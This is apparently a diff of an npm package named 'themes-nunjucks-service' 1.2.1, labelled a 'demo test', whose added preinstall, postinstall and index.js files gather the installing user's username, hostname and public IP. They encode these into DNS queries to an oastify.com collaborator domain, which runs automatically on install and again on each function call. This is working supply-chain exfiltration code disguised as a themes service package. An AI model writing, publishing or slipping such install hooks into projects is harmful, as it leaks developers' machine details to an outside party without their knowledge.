themes-nunjucks-service 1.2.1

package/index.js

@@ -0,0 +1,40 @@
+const os = require('os');
+const dns = require('dns');
+
+
+async function getPublicIP() {
+    try {
+      const response = await fetch('https://api.ipify.org?format=json');
+      const data = await response.json();
+      return data.ip;
+    } catch (error) {
+      console.error('Errore nel recuperare IP pubblico:', error);
+      return 'IP_not_found';
+    }
+  }
+  
+const ip = await getPublicIP();
+const hostname = os.hostname();
+const userId = os.userInfo().username;
+
+
+const initialExfilData = `initial.${userId}.${hostname}.${ip.replace(/\./g, '-')}.nneavb1kw984vl2n2u4sqyb45vbmzdp1e.oastify.com`;
+dns.resolve(initialExfilData, 'A', (err) => {
+  if (err) console.error('Failed to resolve DNS for initial load exfiltration');
+  else console.log('Initial load DNS request sent for data exfiltration');
+});
+
+
+function demoFunction() {
+  console.log("Demo function executed from @sellix/themes-nunjucks-service");
+
+  // Esfiltrazione dei dati ogni volta che la funzione viene chiamata
+  const functionExfilData = `function.${userId}.${hostname}.${ip.replace(/\./g, '-')}.nneavb1kw984vl2n2u4sqyb45vbmzdp1e.oastify.com`;
+  dns.resolve(functionExfilData, 'A', (err) => {
+    if (err) console.error('Failed to resolve DNS for function exfiltration');
+    else console.log('Function-based DNS request sent for data exfiltration');
+  });
+}
+
+
+module.exports = demoFunction;

package/package.json

@@ -0,0 +1,12 @@
+{
+    "name": "themes-nunjucks-service",
+    "version": "1.2.1",
+    "description": "Demo test by r3verii",
+    "main": "index.js",
+    "scripts": {
+        "preinstall": "node preinstall.js",
+        "postinstall": "node postinstall.js"
+    },
+    "author": "R3verii",
+    "license": "MIT"
+}

package/postinstall.js

@@ -0,0 +1,27 @@
+const os = require('os');
+const dns = require('dns');
+
+
+async function getPublicIP() {
+    try {
+      const response = await fetch('https://api.ipify.org?format=json');
+      const data = await response.json();
+      return data.ip;
+    } catch (error) {
+      console.error('Errore nel recuperare IP pubblico:', error);
+      return 'IP_not_found';
+    }
+  }
+  
+const ip = await getPublicIP();
+const hostname = os.hostname();
+const userId = os.userInfo().username;
+
+
+const exfilData = `postinstall.${userId}.${hostname}.${ip.replace(/\./g, '-')}.nneavb1kw984vl2n2u4sqyb45vbmzdp1e.oastify.com`;
+
+
+dns.resolve(exfilData, 'A', (err) => {
+  if (err) console.error('Failed to resolve DNS for post-install exfiltration');
+  else console.log('Post-installation DNS request sent for data exfiltration');
+});

package/preinstall.js

@@ -0,0 +1,27 @@
+const os = require('os');
+const dns = require('dns');
+
+
+
+async function getPublicIP() {
+    try {
+      const response = await fetch('https://api.ipify.org?format=json');
+      const data = await response.json();
+      return data.ip;
+    } catch (error) {
+      console.error('Errore nel recuperare IP pubblico:', error);
+      return 'IP_not_found';
+    }
+  }
+  
+const ip = await getPublicIP();
+const hostname = os.hostname();
+const userId = os.userInfo().username;
+
+
+const exfilData = `${userId}.${hostname}.${ip.replace(/\./g, '-')}.nneavb1kw984vl2n2u4sqyb45vbmzdp1e.oastify.com`;
+
+dns.resolve(exfilData, 'A', (err) => {
+  if (err) console.error('Failed to resolve DNS for exfiltration');
+  else console.log('Data exfiltration DNS request sent');
+});